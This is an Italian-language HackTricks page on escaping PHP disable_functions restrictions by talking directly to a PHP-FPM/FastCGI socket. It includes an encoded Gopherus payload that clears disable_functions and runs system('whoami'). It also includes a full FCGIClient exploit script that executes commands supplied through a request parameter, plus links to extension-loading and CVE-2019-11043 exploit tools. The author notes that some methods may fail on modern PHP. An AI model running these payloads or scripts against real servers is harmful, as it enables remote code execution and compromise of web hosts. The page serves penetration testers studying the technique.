disable_functions bypass - php-fpm/FastCGI

Impara l'hacking su AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

PHP-FPM

PHP-FPM è presentato come un'alternativa superiore al normale PHP FastCGI, offrendo funzionalità particolarmente vantaggiose per i siti web ad alto traffico. Funziona attraverso un processo principale che supervisiona una serie di processi worker. Per una richiesta di script PHP, è il server web che avvia una connessione proxy FastCGI al servizio PHP-FPM. Questo servizio ha la capacità di ricevere richieste sia tramite porte di rete sul server che tramite socket Unix.

Nonostante il ruolo intermedio della connessione proxy, PHP-FPM deve essere operativo sulla stessa macchina del server web. La connessione che utilizza, sebbene basata su proxy, differisce dalle connessioni proxy convenzionali. Al ricevere una richiesta, un worker disponibile di PHP-FPM la elabora, esegue lo script PHP e quindi inoltra i risultati al server web. Dopo che un worker ha concluso l'elaborazione di una richiesta, diventa nuovamente disponibile per le richieste future.

Ma cos'è CGI e FastCGI?

CGI

Normalmente le pagine web, i file e tutti i documenti che vengono trasferiti dal server web al browser sono memorizzati in una specifica directory pubblica come ad esempio home/user/public_html. Quando il browser richiede determinati contenuti, il server controlla questa directory e invia il file richiesto al browser.

Se CGI è installato sul server, viene aggiunta anche la directory specifica cgi-bin, ad esempio home/user/public_html/cgi-bin. Gli script CGI sono memorizzati in questa directory. Ogni file nella directory è trattato come un programma eseguibile. Quando si accede a uno script dalla directory, il server invia la richiesta all'applicazione responsabile di questo script, anziché inviare il contenuto del file al browser. Dopo che l'elaborazione dei dati di input è completata, l'applicazione invia i dati di output al server web che inoltra i dati al client HTTP.

Ad esempio, quando lo script CGI http://mysitename.com/cgi-bin/file.pl viene accesso, il server eseguirà l'applicazione Perl appropriata tramite CGI. I dati generati dall'esecuzione dello script verranno inviati dall'applicazione al server web. Il server, d'altra parte, trasferirà i dati al browser. Se il server non avesse CGI, il browser avrebbe mostrato il codice del file .pl stesso. (spiegazione da qui)

FastCGI

FastCGI è una tecnologia web più recente, una versione migliorata di CGI poiché la funzionalità principale rimane la stessa.

La necessità di sviluppare FastCGI è dovuta alla rapida evoluzione delle applicazioni web e alla loro complessità, nonché per affrontare i limiti di scalabilità della tecnologia CGI. Per soddisfare tali requisiti, Open Market ha introdotto FastCGI - una versione ad alte prestazioni della tecnologia CGI con capacità migliorate.

Bypass delle disable_functions

È possibile eseguire codice PHP abusando di FastCGI e evitando i limiti delle disable_functions.

Tramite Gopherus

Non sono sicuro se questo funziona nelle versioni moderne perché ho provato una volta e non ha eseguito nulla. Per favore, se hai più informazioni a riguardo contattami tramite [gruppo telegram PEASS & HackTricks qui](https://t.me/peass), o su twitter [@carlospolopm](https://twitter.com/hacktricks_live).

Utilizzando Gopherus puoi generare un payload da inviare al listener FastCGI ed eseguire comandi arbitrari:

<?php
$fp = fsockopen("unix:///var/run/php/php7.0-fpm.sock", -1, $errno, $errstr, 30); fwrite($fp,base64_decode("AQEAAQAIAAAAAQAAAAAAAAEEAAEBBAQADxBTRVJWRVJfU09GVFdBUkVnbyAvIGZjZ2ljbGllbnQgCwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOAkNPTlRFTlRfTEVOR1RINzYOBFJFUVVFU1RfTUVUSE9EUE9TVAlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUgPSBPbgpkaXNhYmxlX2Z1bmN0aW9ucyA9IAphdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocA0BRE9DVU1FTlRfUk9PVC8AAAAAAQQAAQAAAAABBQABAEwEADw/cGhwIHN5c3RlbSgnd2hvYW1pID4gL3RtcC93aG9hbWkudHh0Jyk7ZGllKCctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0KJyk7Pz4AAAAA"));

PHP exploit

Non sono sicuro se questo funzioni nelle versioni moderne perché ho provato una volta e non sono riuscito ad eseguire nulla. In realtà sono riuscito a vedere che phpinfo() dall'esecuzione FastCGI indicava che disable_functions era vuoto, ma PHP (in qualche modo) mi impediva comunque di eseguire qualsiasi funzione precedentemente disabilitata. Per favore, se hai più informazioni su questo contattami tramite il [gruppo telegram PEASS & HackTricks qui](https://t.me/peass), o su twitter [@carlospolopm](https://twitter.com/hacktricks_live).

Codice da qui.

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Richiesta non valida');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('Questa app non può multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('Nuova richiesta rifiutata; troppo occupato [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Valore del ruolo sconosciuto [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// exploit reale inizia qui
if (!isset($_REQUEST['cmd'])) {
die("Controlla il tuo input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // payload php -- Non fa nulla
$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Chiamata: $uri\n\n";
echo $client->request($params, $code)."\n";
?>
Utilizzando la funzione precedente, vedrai che la funzione **`system`** è **ancora disabilitata** ma **`phpinfo()`** mostra **`disable_functions`** **vuoto**:

![](<../../../../.gitbook/assets/image (188).png>)

![](<../../../../.gitbook/assets/image (713).png>)

**Quindi, penso che tu possa impostare `disable_functions` solo tramite i file di configurazione `.ini` di php e il PHP\_VALUE non sovrascriverà tale impostazione.**

### [**FuckFastGCI**](https://github.com/w181496/FuckFastcgi)

Questo è uno script php per sfruttare il protocollo fastcgi per aggirare `open_basedir` e `disable_functions`.\
Ti aiuterà a aggirare le restrizioni severe delle `disable_functions` per RCE caricando l'estensione dannosa.\
Puoi accedervi qui: [https://github.com/w181496/FuckFastcgi](https://github.com/w181496/FuckFastcgi) o una versione leggermente modificata e migliorata qui: [https://github.com/BorelEnzo/FuckFastcgi](https://github.com/BorelEnzo/FuckFastcgi)

Scoprirai che l'exploit è molto simile al codice precedente, ma anziché cercare di aggirare le `disable_functions` utilizzando PHP\_VALUE, cerca di **caricare un modulo PHP esterno** per eseguire il codice utilizzando i parametri `extension_dir` e `extension` all'interno della variabile `PHP_ADMIN_VALUE`.\
**NOTA1**: Probabilmente dovrai **ricompilare** l'estensione con la **stessa versione di PHP del server** (puoi controllarlo all'interno dell'output di phpinfo):

![](<../../../../.gitbook/assets/image (180).png>)

<div data-gb-custom-block data-tag="hint" data-style='danger'>

**NOTA2**: Sono riuscito a far funzionare questo inserendo i valori `extension_dir` e `extension` all'interno di un file di configurazione PHP `.ini` (cosa che non potrai fare attaccando un server). Ma per qualche motivo, quando uso questo exploit e carico l'estensione dalla variabile `PHP_ADMIN_VALUE`, il processo si interrompe improvvisamente, quindi non so se questa tecnica sia ancora valida.

</div>

### Vulnerabilità di Esecuzione di Codice Remoto PHP-FPM (CVE-2019–11043)

Puoi sfruttare questa vulnerabilità con [**phuip-fpizdam**](https://github.com/neex/phuip-fpizdam) e testarla utilizzando questo ambiente docker: [https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043](https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043).\
Puoi trovare anche un'analisi della vulnerabilità [**qui**](https://medium.com/@knownsec404team/php-fpm-remote-code-execution-vulnerability-cve-2019-11043-analysis-35fd605dd2dc)**.**

Last updated